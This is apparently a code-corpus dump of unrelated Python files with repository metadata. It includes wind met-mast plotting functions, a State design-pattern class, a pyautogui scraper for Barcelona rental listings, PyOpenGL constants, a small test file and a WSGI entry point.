utils.get_nrelcolors() # Set up data dircol, _, _= utils.get_vertical_locations(catinfo['columns']['direction'], location=vertloc) varcol, vertloc, _= utils.get_vertical_locations(catinfo['columns'][category], location=vertloc) stabcol, _, _= utils.get_vertical_locations(catinfo['columns']['stability flag'], location=vertloc) # dirind = utils.get_nearest_direction(metdat[category]) fig, ax = plt.subplots(len(stabconds),1, sharex=True, sharey=True, figsize=(6,8)) plotdat = metdat.groupby(stabcol) for ind, stabcond in enumerate(stabconds): ax.flatten()[ind].scatter(plotdat[dircol].get_group(stabcond),plotdat[varcol].get_group(stabcond), marker='o',facecolor=colors[ind],color='k',lw=0.5,alpha=0.7) ax.flatten()[ind].set_xlim([0,360]) # ax.flatten()[ind].set_ylim([0,120]) ax.flatten()[ind].legend([stabcond], fontsize=12, loc=1, frameon=False) for ii in range(len(exclude_angles)): ax.flatten()[ind].axvspan(exclude_angles[ii][0], exclude_angles[ii][1], alpha=0.1, color=nrelcolors[basecolor][0]) if ind == 0: ax.flatten()[ind].set_title(r'$z={}$ m'.format(vertloc)) fig.tight_layout() fig.text(0.5,0, r'Wind Direction [$^\circ$]', ha='center', va='center') fig.text(0, 0.5, catinfo['labels'][category], ha='center', va='center', rotation='vertical') return fig, ax #, leg def groupby_scatter(metdat, catinfo, category, abscissa='direction', groupby='ti', nbins=5, vertloc=80, basecolor='span'): """**Get Wind Direction Grouped Scatter Figure**. Plot the wind direction grouped scatter of a given variable (or category of variables) grouped by a given condition (or set of conditions). Parameters: 1. metdat (Pandas DataFrame): The desired input data (Met Mast). 2. catinfo (dictionary): Categorization information for the desired input data. Holds column names, labels, units, and save names. 3. category (string): Specifies the category of information that is desired for plotting. 4. abscissa (string) [default: 'direction']: independent variable to plot again 5. groupby (string) [default: 'ti']: Describes which categories to group by. 6. nbins (integer) [default: 5]: Divides the *groupby* variable into bins. 7. vertloc (integer, float) [default: 80]: Describes the desired vertical location alond the tower for analysis. 8. basecolor (string) [default: 'span']: Provides the color code information to get from "utils.py". Returns: 1. fig (Matplotlib Figure): The figure object for the desired input data and categories. 2. ax (Matplotlib Axes): The axes object for the desired input data and categories. """ # set up data varcol, vertloc, _= utils.get_vertical_locations(catinfo['columns'][category], location=vertloc) groupcol, _, _= utils.get_vertical_locations(catinfo['columns'][groupby], location=vertloc) abscol, _, _= utils.get_vertical_locations(catinfo['columns'][abscissa], location=vertloc) temp = pd.cut(metdat[groupcol],5) plotdat = metdat[[varcol,abscol,groupcol]].groupby(temp) groups = list(plotdat.indices.keys()) colors = utils.get_colors(len(groups), basecolor=basecolor) fig, ax = plt.subplots(figsize=(5,3), sharex=True, sharey=True) for iax,group in enumerate(groups): ax.scatter(plotdat[abscol].get_group(group), plotdat[varcol].get_group(group),facecolor=colors[iax],color='k',lw=0.5,alpha=0.7) leg = ax.legend(groups, loc=6, bbox_to_anchor=(1, 0.5), frameon=False) leg.set_title(catinfo['labels'][groupby]) # labels ax.set_xlabel(catinfo['labels'][abscissa]) ax.set_ylabel(catinfo['labels'][category]) ax.set_title(r'$z={}$ m'.format(vertloc)) fig.tight_layout() return fig, ax #, leg def hist(metdat, catinfo, category, vertloc=80, basecolor='blue'): """**Get Histogram Figure**. Plot the histogram of a given variable (or category of variables) grouped by a given condition (or set of conditions). Parameters: 1. metdat (Pandas DataFrame): The desired input data (Met Mast). 2. catinfo (dictionary): Categorization information for the desired input data. Holds column names, labels, units, and save names. 3. category (string): Specifies the category of information that is desired for plotting. 4. vertloc (integer, float) [default: 80]: Describes the desired vertical location alond the tower for analysis. 5. basecolor (string) [default: 'blue']: Provides the color code information to get from "utils.py". Returns: 1. fig (Matplotlib Figure): The figure object for the desired input data and categories. 2. ax (Matplotlib Axes): The axes object for the desired input data and categories. """ colors = utils.get_nrelcolors() color = colors[basecolor][0] # set up data varcol, vertloc, _= utils.get_vertical_locations(catinfo['columns'][category], location=vertloc) data = metdat[varcol].dropna(how='any') fig, ax = plt.subplots(figsize=(5,3)) ax.hist(data, bins = 35, facecolor=color, edgecolor='k', weights=np.ones(len(data)) / len(data), density=False) ax.set_title(r'$z={}$ m'.format(vertloc)) fig.text(0,0.5,'Frequency [%]',rotation='vertical', ha='center', va='center') fig.text(0.5,0,catinfo['labels'][category], ha='center', va='center') fig.tight_layout() return fig, ax def monthly_hist(metdat, catinfo, category, vertloc=80, basecolor='blue'): """**Get Monthly Histogram Figure**. Plot the monthly histogram of a given variable (or category of variables) grouped by a given condition (or set of conditions). Parameters: 1. metdat (Pandas DataFrame): The desired input data (Met Mast). 2. catinfo (dictionary): Categorization information for the desired input data. Holds column names, labels, units, and save names. 3. category (string): Specifies the category of information that is desired for plotting. 4. vertloc (integer, float) [default: 80]: Describes the desired vertical location alond the tower for analysis. 5. basecolor (string) [default: 'blue']: Provides the color code information to get from "utils.py". Returns: 1. fig (Matplotlib Figure): The figure object for the desired input data and categories. 2. ax (Matplotlib Axes): The axes object for the desired input data and categories. """ colors = utils.get_nrelcolors() color = colors[basecolor][0] months = utils.monthnames() # set up data varcol, vertloc, _= utils.get_vertical_locations(catinfo['columns'][category], location=vertloc) temp = metdat.groupby(metdat.index.month) temp = temp[varcol] binwidth = (metdat[varcol].dropna().max() - metdat[varcol].dropna().min())/35 bins = np.arange(metdat[varcol].dropna().min(),metdat[varcol].dropna().max(), binwidth) fig, ax = plt.subplots(4,3, figsize=(9,9), sharex=True, sharey=True) for im,month in enumerate(months): data = temp.get_group(im+1).dropna() ax.flatten()[im].hist(data, bins=bins, color=color, edgecolor='k', weights=np.ones(len(data))/len(data)*100) ax.flatten()[im].set_title(month, fontsize=12) fig.tight_layout() fig.text(0,0.5,'Frequency [%]',rotation='vertical', ha='center', va='center') fig.text(0.5,0,catinfo['labels'][category], ha='center', va='center') return fig, ax def hist_by_stability(metdat, catinfo, category, vertloc=80, basecolor='span'): """**Get Stability Grouped Histogram Figure**. Plot the stability grouped histogram of a given variable (or category of variables) grouped by a given condition (or set of conditions). Parameters: 1. metdat (Pandas DataFrame): The desired input data (Met Mast). 2. catinfo (dictionary): Categorization information for the desired input data. Holds column names, labels, units, and save names. 3. category (string): Specifies the category of information that is desired for plotting. 4. vertloc (integer, float) [default: 80]: Describes the desired vertical location alond the tower for analysis. 5. basecolor (string) [default: 'span']: Provides the color code information to get from "utils.py". Returns: 1. fig (Matplotlib Figure): The figure object for the desired input data and categories. 2. ax (Matplotlib Axes): The axes object for the desired input data and categories. """ stabconds = utils.get_stabconds() stabcol, _, _= utils.get_vertical_locations(catinfo['columns']['stability flag'], location=vertloc) varcol, vertloc, _= utils.get_vertical_locations(catinfo['columns'][category], location=vertloc) colors = utils.get_colors(len(stabconds),basecolor=basecolor) metdat = metdat.groupby(stabcol) fig,ax = plt.subplots(len(stabconds),1, figsize=(4,6), sharex=True, sharey=True) for ii,stab in enumerate(stabconds): data = metdat[varcol].get_group(stab).dropna() ax.flatten()[ii].hist(data, facecolor=colors[ii], edgecolor='k', bins=50, weights=np.ones(len(data)) / len(data), density=False) ax.flatten()[ii].legend([stab], fontsize=10, frameon=False) ax.flatten()[0].set_title(r'$z={}$m'.format(vertloc)) fig.text(-0.03,0.5,'Frequency [%]',rotation='vertical', ha='center', va='center') fig.text(0.5,0,catinfo['labels'][category], ha='center', va='center') fig.tight_layout() return fig, ax def stacked_hist_by_stability(metdat, catinfo, category, vertloc=80): """**Get Stacked Stability Grouped Histogram Figure**. Plot the stacked stability grouped histogram of a given variable (or category of variables) grouped by a given condition (or set of conditions). Parameters: 1. metdat (Pandas DataFrame): The desired input data (Met Mast). 2. catinfo (dictionary): Categorization information for the desired input data. Holds column names, labels, units, and save names. 3. category (string): Specifies the category of information that is desired for plotting. 4. vertloc (integer, float): Describes the desired vertical location alond the tower for analysis. Returns: 1. fig (Matplotlib Figure): The figure object for the desired input data and categories. 2. ax (Matplotlib Axes): The axes object for the desired input data and categories. """ stabconds = utils.get_stabconds() stabcol, _, _= utils.get_vertical_locations(catinfo['columns']['stability flag'], location=vertloc) varcol, vertloc, _= utils.get_vertical_locations(catinfo['columns'][category], location=vertloc) colors = utils.get_colors(len(stabconds), basecolor='span') plotdat = metdat.groupby(stabcol) fig, ax = plt.subplots() temp = pd.DataFrame({cond: plotdat[varcol].get_group(cond) for cond in stabconds}) temp.plot.hist(ax=ax, stacked=True, color=colors, bins=35, edgecolor='k', legend=False, # weights = np.ones(temp.shape) / len(temp.index), density=True) ax.set_xlabel(catinfo['labels'][category]) ax.set_title(r'$z={}$m'.format(vertloc)) fig.legend(stabconds, loc=6, bbox_to_anchor=(1, 0.5), frameon=False) fig.tight_layout() return fig, ax def monthly_stacked_hist_by_stability(metdat, catinfo, category, vertloc=80): """**Get Monthly Stacked Stability Grouped Histogram Figure**. Plot the monthly stacked stability grouped histogram of a given variable (or category of variables) grouped by a given condition (or set of conditions). Parameters: 1. metdat (Pandas DataFrame): The desired input data (Met Mast). 2. catinfo (dictionary): Categorization information for the desired input data. Holds column names, labels, units, and save names. 3. category (string): Specifies the category of information that is desired for plotting. 4. vertloc (integer, float) [default: 80]: Describes the desired vertical location alond the tower for analysis. Returns: 1. fig (Matplotlib Figure): The figure object for the desired input data and categories. 2. ax (Matplotlib Axes): The axes object for the desired input data and categories. """ stabconds = utils.get_stabconds() stabcol, _, _= utils.get_vertical_locations(catinfo['columns']['stability flag'], location=vertloc) varcol, vertloc, _= utils.get_vertical_locations(catinfo['columns'][category], location=vertloc) colors = utils.get_colors(len(stabconds), basecolor='span') months = utils.monthnames() plotdat = metdat.groupby([metdat.index.month, stabcol]) plotdat = plotdat[varcol] fig, ax = plt.subplots(4,3, figsize=(9,10), sharex=True, sharey=True) for iax, month in enumerate(months): temp = pd.DataFrame({cond: plotdat.get_group((iax+1,cond)) for cond in stabconds}) temp.plot.hist(ax=ax.flatten()[iax], stacked=True, color=colors, bins=35, edgecolor='k', legend=False, # weights = np.ones(temp.dropna().shape) / np.prod(temp.shape), density=True) ax.flatten()[iax].set_title(month) ax.flatten()[iax].set_ylabel('') # fig.legend(stabconds, loc=8, bbox_to_anchor=(0, -0.1), edgecolor='w') fig.text(0,0.58, 'Frequency', ha='center', va='center', fontsize=14, rotation='vertical') leg = fig.legend(stabconds, loc=9, bbox_to_anchor=(0.55, 0.15), frameon=False) fig.tight_layout() fig.subplots_adjust(bottom=0.21) fig.text(0.5, 0.16, catinfo['labels'][category], ha='center', va='center', fontsize=14) return fig, ax#, leg def normalized_hist_by_stability(metdat, catinfo, vertloc=80): """**Get Normalized Stability Grouped Histogram Figure**. Plot the normalized stability grouped histogram of a given variable (or category of variables) grouped by a given condition (or set of conditions). Parameters: 1. metdat (Pandas DataFrame): The desired input data (Met Mast). 2. catinfo (dictionary): Categorization information for the desired input data. Holds column names, labels, units, and save names. 3. vertloc (integer, float) [default: 80]: Describes the desired vertical location alond the tower for analysis. Returns: 1. fig (Matplotlib Figure): The figure object for the desired input data and categories. 2. ax (Matplotlib Axes): The axes object for the desired input data and categories. """ stabconds = utils.get_stabconds() stabcol, _, _= utils.get_vertical_locations(catinfo['columns']['stability flag'], location=vertloc) colors = utils.get_colors(len(stabconds), basecolor='span') temp = metdat[stabcol].dropna() garb = temp.groupby(temp.index.hour).value_counts(normalize=True) garb.index.names = ['hour','stabclass'] garb = garb.reorder_levels(['stabclass','hour']) hours = np.arange(24) newbottom = np.zeros(24) fig,ax = plt.subplots() for jj,cond in enumerate(stabconds): # Use this for missing data, also works for full data a = garb.loc[cond] b = a.index.tolist() c = a.values.tolist() for i in range(len(hours)): if (hours[i]) in b: pass else: b.insert(i,hours[i]) c.insert(i,0) d = pd.Series(data = c, index = b) ax.bar(hours, d, color=colors[jj], bottom=newbottom) newbottom += c #<-- for if missing data, also works for full data #ax.bar(hours, garb.loc[cond], color=colors[jj], bottom=newbottom) #newbottom += garb.loc[cond] ax.set_ylabel('Probability [%]') ax.set_xlabel('Time of Day [Hour]') fig.legend(stabconds) #fig.legend(stabconds, loc=6, bbox_to_anchor=(1,0.5),framealpha=0) fig.tight_layout() return fig, ax def normalized_monthly_hist_by_stability(metdat, catinfo, vertloc=80): """**Get Normalized Monthly Stability Grouped Histogram Figure**. Plot the normalized monthly stability grouped histogram of a given variable (or category of variables) grouped by a given condition (or set of conditions). Parameters: 1. metdat (Pandas DataFrame): The desired input data (Met Mast). 2. catinfo (dictionary): Categorization information for the desired input data. Holds column names, labels, units, and save names. 3. vertloc (integer, float) [default: 80]: Describes the desired vertical location alond the tower for analysis. Returns: 1. fig (Matplotlib Figure): The figure object for the desired input data and categories. 2. ax (Matplotlib Axes): The axes object for the desired input data and categories. """ months = utils.monthnames() hours = np.arange(24) stabcol, _, _= utils.get_vertical_locations(catinfo['columns']['stability flag'], location=vertloc) stabconds = utils.get_stabconds() colors = utils.get_colors(5,basecolor='span') temp = metdat[stabcol].dropna() plotdata = temp.groupby([temp.index.month.rename('month'), temp.index.hour.rename('hour')]).value_counts(normalize=True) plotdata.index.names = ['month','hour','stabclass'] temp = plotdata.reorder_levels(['month','stabclass','hour']) indexvals = [np.arange(1,13),stabconds, np.arange(24)] indx = pd.MultiIndex.from_product(indexvals, names=['month','stabclass','hour']) temp = temp.reindex(index=indx).fillna(0.0) fig,ax = plt.subplots(4,3, figsize=(9,10), sharex=True, sharey=True) for ii,month in enumerate(months): newbottom = np.zeros(24) for jj,cond in enumerate(stabconds): pdat = temp.loc[ii+1,cond] ax.flatten()[ii].bar(hours, pdat, color=colors[jj],bottom=newbottom) newbottom += pdat # fig.legend(stabconds, loc=8, bbox_to_anchor=(0, -0.1), edgecolor='w') fig.text(-0.02,0.58, 'Probability [%]', ha='center', va='center', rotation='vertical') leg = fig.legend(stabconds, loc=9, bbox_to_anchor=(0.55, 0.125), frameon=False) fig.tight_layout() fig.subplots_adjust(bottom=0.21) fig.text(0.5, 0.165, 'Time of Day [Hour]', ha='center', va='center') return fig, ax ########################################### # End of Code ###########################################

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py

Python

Python/behavioral_patterns/state/state.py

ploukareas/Design-Patterns

8effde38d73ae9058c3028c97ef395644a90d55b

[ "BSD-3-Clause", "MIT" ]

28

2018-09-28T07:45:35.000Z

2022-02-12T12:25:05.000Z

Python/behavioral_patterns/state/state.py

ploukareas/Design-Patterns

8effde38d73ae9058c3028c97ef395644a90d55b

[ "BSD-3-Clause", "MIT" ]

null

Python/behavioral_patterns/state/state.py

ploukareas/Design-Patterns

8effde38d73ae9058c3028c97ef395644a90d55b

[ "BSD-3-Clause", "MIT" ]

5

2021-05-10T23:19:55.000Z

2022-03-04T20:26:35.000Z

#!/usr/bin/env python # -*- coding: utf-8 -*- # ˅ from abc import * # ˄ class State(object, metaclass=ABCMeta): # ˅ # ˄ @abstractmethod def set_time(self, context, hour): # ˅ pass # ˄ @abstractmethod def use(self, context): # ˅ pass # ˄ @abstractmethod def alarm(self, context): # ˅ pass # ˄ @abstractmethod def phone(self, context): # ˅ pass # ˄ @abstractmethod def to_string(self): # ˅ pass # ˄ # ˅ # ˄ # ˅ # ˄

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py

Python

queenbee/io/__init__.py

AntoineDao/queenbee

800d5b26a69cffbce85864ea9430304b7fb8d11a

[ "MIT" ]

10

2020-12-17T06:08:46.000Z

2022-02-12T12:06:08.000Z

queenbee/io/__init__.py

AntoineDao/queenbee

800d5b26a69cffbce85864ea9430304b7fb8d11a

[ "MIT" ]

213

2020-12-06T03:34:01.000Z

2022-03-28T01:07:41.000Z

queenbee/io/__init__.py

AntoineDao/queenbee

800d5b26a69cffbce85864ea9430304b7fb8d11a

[ "MIT" ]

4

2019-08-14T22:10:29.000Z

2020-09-21T22:46:11.000Z

"""Input and Output (IO) objects."""

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py

Python

p.py

Xapurri/WebScrapper

abf1ac075f46c2b0be607c04f9b768c4ac100866

[ "MIT" ]

null

p.py

Xapurri/WebScrapper

abf1ac075f46c2b0be607c04f9b768c4ac100866

[ "MIT" ]

null

p.py

Xapurri/WebScrapper

abf1ac075f46c2b0be607c04f9b768c4ac100866

[ "MIT" ]

null

# -*- coding: utf-8 -*- """ Created on Sun May 3 16:09:48 2020 @author: Xapurri """ 'Gràcia','Eixample','Gràcia','Horta-Guinardó','Les Corts','Nou Barris','Sant Andreu','Sant Martí','Sarria-Sant Gervasi','Sants-Montjuíc','Ciutat Vella' import pyautogui as gui, pyperclip, time, keyboard ''' DretaEixample = 'https://www.idealista.com/alquiler-viviendas/barcelona/eixample/la-dreta-de-l-eixample/pagina-' AntEsqEixample = 'https://www.idealista.com/alquiler-viviendas/barcelona/eixample/l-antiga-esquerra-de-l-eixample/pagina-' NovEsqEixample = 'https://www.idealista.com/alquiler-viviendas/barcelona/eixample/la-nova-esquerra-de-l-eixample/pagina-' SagradaFamilia = 'https://www.idealista.com/alquiler-viviendas/barcelona/eixample/la-sagrada-familia/pagina-' SantAntoni = 'https://www.idealista.com/alquiler-viviendas/barcelona/eixample/sant-antoni/pagina-' FortPienc = 'https://www.idealista.com/alquiler-viviendas/barcelona/eixample/el-fort-pienc/pagina-' Gracia = 'https://www.idealista.com/alquiler-viviendas/barcelona/gracia/pagina-' HortaGuinardo = 'https://www.idealista.com/alquiler-viviendas/barcelona/horta-guinardo/pagina-' LesCorts = 'https://www.idealista.com/alquiler-viviendas/barcelona/les-corts/pagina-' NouBarris = 'https://www.idealista.com/alquiler-viviendas/barcelona/nou-barris/pagina-' SantAndreu = 'https://www.idealista.com/alquiler-viviendas/barcelona/sant-andreu/pagina-' SantMarti = 'https://www.idealista.com/alquiler-viviendas/barcelona/sant-marti/pagina-' SGGalvany = 'https://www.idealista.com/alquiler-viviendas/barcelona/sarria-sant-gervasi/sant-gervasi-galvany/pagina-' PutxetFarro = 'https://www.idealista.com/alquiler-viviendas/barcelona/sarria-sant-gervasi/el-putxet-i-el-farro/pagina-' SGBonanova = 'https://www.idealista.com/alquiler-viviendas/barcelona/sarria-sant-gervasi/sant-gervasi-la-bonanova/pagina-' Sarria = 'https://www.idealista.com/alquiler-viviendas/barcelona/sarria-sant-gervasi/sarria/pagina-' TresTorres = 'https://www.idealista.com/alquiler-viviendas/barcelona/sarria-sant-gervasi/les-tres-torres/pagina-' Tibidabo = 'https://www.idealista.com/alquiler-viviendas/barcelona/sarria-sant-gervasi/vallvidrera-el-tibidabo-i-les-planes/pagina-' SantsMontjuic = 'https://www.idealista.com/alquiler-viviendas/barcelona/sants-montjuic/pagina-' CiutatVella = 'https://www.idealista.com/alquiler-viviendas/barcelona/ciutat-vella/' Raval = 'https://www.idealista.com/alquiler-viviendas/barcelona/ciutat-vella/el-raval/pagina-' Gotic = 'https://www.idealista.com/alquiler-viviendas/barcelona/ciutat-vella/el-gotic/pagina-' SantaCaterinaIRibera = 'https://www.idealista.com/alquiler-viviendas/barcelona/ciutat-vella/sant-pere-santa-caterina-i-la-ribera/pagina-' ciutat-vella/la-barceloneta = https://www.idealista.com/alquiler-viviendas/barcelona/ciutat-vella/la-barceloneta/pagina- ''' nameDistrito = ['Tibidabo','Gracia','Sants-Montjuic','La Barceloneta','El Raval','El Gotic', 'Sant Pere,Santa Caterina','Sant Gervasi-Galvany','El Putxet i el Farro','La Bonanova','Sarria','Les Tres Torres','La Dreta de Eixample','La nova esquerra de Eixample','La Nova Esquerra Eixample','Sagrada Familia','Sant antoni','El Fort Pienc','Horta-Guinardo','Les Corts','Nou Barris','Sant Andreu','Sant MArti'] Distritos = ['sarria-sant-gervasi/vallvidrera-el-tibidabo-i-les-planes','Gracia','Sants-Montjuic', 'ciutat-vella/la-barceloneta','ciutat-vella/el-raval', 'ciutat-vella/el-gotic', 'ciutat-vella/sant-pere-santa-caterina-i-la-ribera', 'sarria-sant-gervasi/sant-gervasi-galvany', 'sarria-sant-gervasi/el-putxet-i-el-farro', 'sarria-sant-gervasi/sant-gervasi-la-bonanova', 'sarria-sant-gervasi/Sarria', 'sarria-sant-gervasi/les-tres-torres', 'eixample/la-dreta-de-l-eixample', 'eixample/l-antiga-esquerra-de-l-eixample', 'eixample/la-nova-esquerra-de-l-eixample', 'eixample/la-sagrada-familia', 'eixample/sant-antoni', 'eixample/el-fort-pienc', 'horta-guinardo', 'les-corts', 'nou-barris', 'sant-andreu', 'sant-marti'] Distritos_links = ['https://www.idealista.com/alquiler-viviendas/barcelona/sarria-sant-gervasi/vallvidrera-el-tibidabo-i-les-planes/pagina-','https://www.idealista.com/alquiler-viviendas/barcelona/gracia/pagina-', 'https://www.idealista.com/alquiler-viviendas/barcelona/sants-montjuic/pagina-','https://www.idealista.com/alquiler-viviendas/barcelona/ciutat-vella/la-barceloneta/pagina-', 'https://www.idealista.com/alquiler-viviendas/barcelona/ciutat-vella/el-raval/pagina-', 'https://www.idealista.com/alquiler-viviendas/barcelona/ciutat-vella/el-gotic/pagina-', 'https://www.idealista.com/alquiler-viviendas/barcelona/ciutat-vella/sant-pere-santa-caterina-i-la-ribera/pagina-', 'https://www.idealista.com/alquiler-viviendas/barcelona/sarria-sant-gervasi/sant-gervasi-galvany/pagina-', 'https://www.idealista.com/alquiler-viviendas/barcelona/sarria-sant-gervasi/el-putxet-i-el-farro/pagina-', 'https://www.idealista.com/alquiler-viviendas/barcelona/sarria-sant-gervasi/sant-gervasi-la-bonanova/pagina-', 'https://www.idealista.com/alquiler-viviendas/barcelona/sarria-sant-gervasi/sarria/pagina-', 'https://www.idealista.com/alquiler-viviendas/barcelona/sarria-sant-gervasi/les-tres-torres/pagina-', 'https://www.idealista.com/alquiler-viviendas/barcelona/eixample/la-dreta-de-l-eixample/pagina-', 'https://www.idealista.com/alquiler-viviendas/barcelona/eixample/l-antiga-esquerra-de-l-eixample/pagina-', 'https://www.idealista.com/alquiler-viviendas/barcelona/eixample/la-nova-esquerra-de-l-eixample/pagina-', 'https://www.idealista.com/alquiler-viviendas/barcelona/eixample/la-sagrada-familia/pagina-', 'https://www.idealista.com/alquiler-viviendas/barcelona/eixample/sant-antoni/pagina-', 'https://www.idealista.com/alquiler-viviendas/barcelona/eixample/el-fort-pienc/pagina-', 'https://www.idealista.com/alquiler-viviendas/barcelona/horta-guinardo/pagina-', 'https://www.idealista.com/alquiler-viviendas/barcelona/les-corts/pagina-', 'https://www.idealista.com/alquiler-viviendas/barcelona/nou-barris/pagina-', 'https://www.idealista.com/alquiler-viviendas/barcelona/sant-andreu/pagina-', 'https://www.idealista.com/alquiler-viviendas/barcelona/sant-marti/pagina-'] finurl = '.htm?ordenado-por=precios-asc' Distrito_id = 0 raw_data = '' status = 1 Excepcion_Distritos = ['sarria-sant-gervasi/','eixample/','ciutat-vella/'] #--------------------# def auto_txt_save(): with open(nameDistrito[dis]+'.txt','a+',encoding="utf-8") as f: f.write(str(raw_data) + '\n') def tor_scrapper(): global raw_data keyboard.press_and_release('ctrl+shift+i') gui.sleep(0.5) gui.click(1340,341) time.sleep(0.5) gui.click(button='right') time.sleep(0.5) gui.click(1399,577) time.sleep(0.5) gui.click(1679,586) time.sleep(0.5) raw_data = pyperclip.paste() auto_txt_save() keyboard.press_and_release('ctrl+shift+i') for dis in range(len(Distritos)): indent=1 status = 1 row = 0 while status == 1: url=Distritos_links[dis]+str(indent)+finurl pyperclip.copy(url) time.sleep(3) #gui.click(1018,1056) time.sleep(3) gui.click(95,195) gui.click(492,65) keyboard.press_and_release('ctrl+v, enter') time.sleep(10) #checks if new url is the same as the one pasted gui.click(95,195) #clica en un sitio irrelevante time.sleep(0.5) gui.click(818,67, button='right') time.sleep(0.5) gui.click(845,126) time.sleep(0.5) check_url = pyperclip.paste() if url == check_url: print('Coinciden') status = 1 else: lowDistrito = Distritos[dis] new_url = 'https://www.idealista.com/alquiler-viviendas/barcelona/'+ lowDistrito.lower() + '/?ordenado-por=precios-asc' if check_url == new_url and row ==0: print('Primera Página') status = 1 row = 1 else: status = 0 print(Distritos[dis]+' finished') break indent+=1 tor_scrapper()

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8f029031a6ad7ac81e7cd64df4a52189314a0813

190

py

Python

examples/python/ApiWeb/ApiWeb/config.py

austender/etender-ocds-api

ea3bd2fc212b092ce7b39c0bef579b9deae2d01e

[ "MIT" ]

3

2021-03-30T03:16:14.000Z

2021-09-01T05:24:52.000Z

examples/python/ApiWeb/ApiWeb/config.py

austender/etender-ocds-api

ea3bd2fc212b092ce7b39c0bef579b9deae2d01e

[ "MIT" ]

8

2019-11-01T02:46:55.000Z

2022-03-29T12:07:29.000Z

examples/python/ApiWeb/ApiWeb/config.py

austender/etender-ocds-api

ea3bd2fc212b092ce7b39c0bef579b9deae2d01e

[ "MIT" ]

3

2019-03-21T02:22:25.000Z

2022-03-10T10:42:24.000Z

class Config: Url_Search_By_CnId = "https://ocdsapi-dev.tenders.gov.au/ocds/findById/" Url_Search_By_DateRange = "https://ocdsapi-dev.tenders.gov.au/ocds/findByDates/contractStart/"

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816

py

Python

OpenGLWrapper_JE/venv/Lib/site-packages/OpenGL/raw/GL/ARB/enhanced_layouts.py

JE-Chen/je_old_repo

a8b2f1ac2eec25758bd15b71c64b59b27e0bcda5

[ "MIT" ]

null

OpenGLWrapper_JE/venv/Lib/site-packages/OpenGL/raw/GL/ARB/enhanced_layouts.py

JE-Chen/je_old_repo

a8b2f1ac2eec25758bd15b71c64b59b27e0bcda5

[ "MIT" ]

null

OpenGLWrapper_JE/venv/Lib/site-packages/OpenGL/raw/GL/ARB/enhanced_layouts.py

JE-Chen/je_old_repo

a8b2f1ac2eec25758bd15b71c64b59b27e0bcda5

[ "MIT" ]

null

'''Autogenerated by xml_generate script, do not edit!''' from OpenGL import platform as _p, arrays # Code generation uses this from OpenGL.raw.GL import _types as _cs # End users want this... from OpenGL.raw.GL._types import * from OpenGL.raw.GL import _errors from OpenGL.constant import Constant as _C import ctypes _EXTENSION_NAME = 'GL_ARB_enhanced_layouts' def _f( function ): return _p.createFunction( function,_p.PLATFORM.GL,'GL_ARB_enhanced_layouts',error_checker=_errors._error_checker) GL_LOCATION_COMPONENT=_C('GL_LOCATION_COMPONENT',0x934A) GL_TRANSFORM_FEEDBACK_BUFFER=_C('GL_TRANSFORM_FEEDBACK_BUFFER',0x8C8E) GL_TRANSFORM_FEEDBACK_BUFFER_INDEX=_C('GL_TRANSFORM_FEEDBACK_BUFFER_INDEX',0x934B) GL_TRANSFORM_FEEDBACK_BUFFER_STRIDE=_C('GL_TRANSFORM_FEEDBACK_BUFFER_STRIDE',0x934C)

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null

0

1

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1

0

5

8f3dfcdfc3831b819b222c387259f8b9bc6ea6bc

290

py

Python

TensorFlow1.py

agbruneau/AGBPython

202e963b466dbee01139fdb26ace03343acdc9ca

[ "Apache-2.0" ]

null

TensorFlow1.py

agbruneau/AGBPython

202e963b466dbee01139fdb26ace03343acdc9ca

[ "Apache-2.0" ]

null

TensorFlow1.py

agbruneau/AGBPython

202e963b466dbee01139fdb26ace03343acdc9ca

[ "Apache-2.0" ]

null

import numpy as np edges = np.matrix('0 0 0 1; 0 0 1 0; 1 0 0 0; 0 0 1 0') mat1 = np.matrix('0 0 0 0; 0 0 0 0; 0 0 0 0; 0 0 0 0') for i in range(0,4): for j in range(0,4): if edges[i, j] == 1 or (edges[i, 0] == 1 and edges[0, j] == 1): mat1[i, j] = 1 print(mat1)

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1

0

1

0

null

0

5

8f457344f7c13bd4e7e8efaf303ef86fcafeadd6

199

py

Python

tests/test_post_train_step.py

hankyul2/PostImageClassification

3a044f58f50a845d24a18225cee5aabf1af593ba

[ "MIT" ]

null

tests/test_post_train_step.py

hankyul2/PostImageClassification

3a044f58f50a845d24a18225cee5aabf1af593ba

[ "MIT" ]

2

2021-04-07T07:53:34.000Z

2021-04-07T07:57:10.000Z

tests/test_post_train_step.py

hankyul2/PostImageClassification

3a044f58f50a845d24a18225cee5aabf1af593ba

[ "MIT" ]

null

from src.post_train_step import PostTrain def test_train(): tool = PostTrain() assert tool.train_fn() def test_post_train(): tool = PostTrain() assert tool.post_train() >= 0.8662

16.583333

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199

11

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false

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1

0

null

1

0

null

0

1

0

5

8f5c671feb52927b8679a256b582d93bdfabdc1f

45

py

Python

Bot/3_Algorithm/Logic/_Dollar_Cost_Averaging.py

ReedGraff/High-Low

c8ba0339d7818e344cacf9a73a83d24dc539c2ca

[ "MIT" ]

1

2022-01-06T05:50:53.000Z

Bot/3_Algorithm/Logic/_Dollar_Cost_Averaging.py

ReedGraff/High-Low

c8ba0339d7818e344cacf9a73a83d24dc539c2ca

[ "MIT" ]

null

Bot/3_Algorithm/Logic/_Dollar_Cost_Averaging.py

ReedGraff/High-Low

c8ba0339d7818e344cacf9a73a83d24dc539c2ca

[ "MIT" ]

null

def Dollar_Cost_Averaging(self): return 0

22.5

32

0.777778

7

45

4.714286

1

0

0.026316

0.155556

45

2

33

22.5

0.842105

0

1

0.5

false

0

0.5

1

0

1

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null

0

1

0

null

0

1

0

1

0

5

8f72e05aea2257fe19c04f05967166916f2c95b5

151

wsgi

Python

icanhaz/Centosimage/icanhaz.wsgi

technicalflow/docker

d5ba1ab3ad15823cbe6890754ca516a1a31eefeb

[ "MIT" ]

null

icanhaz/Centosimage/icanhaz.wsgi

technicalflow/docker

d5ba1ab3ad15823cbe6890754ca516a1a31eefeb

[ "MIT" ]

1

2021-12-07T18:48:59.000Z

icanhaz/Centosimage/icanhaz.wsgi

technicalflow/docker

d5ba1ab3ad15823cbe6890754ca516a1a31eefeb

[ "MIT" ]

1

2022-01-18T09:35:33.000Z

import sys import logging logging.basicConfig(stream=sys.stderr) sys.path.insert(0, '/var/www/html/ip/icanhaz') from icanhaz import app as application

25.166667

46

0.801325

24

151

5.041667

0.75

0

0.007246

0.086093

151

5

47

30.2

0.869565

0

0.15894

0

1

0

true

0

0.6

0

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0

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null

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0

null

0

1

0

1

0

1

0

5

8f7a1b941746bc52e11d16a0fa451f8ac58d1f6a

4,121

py

Python

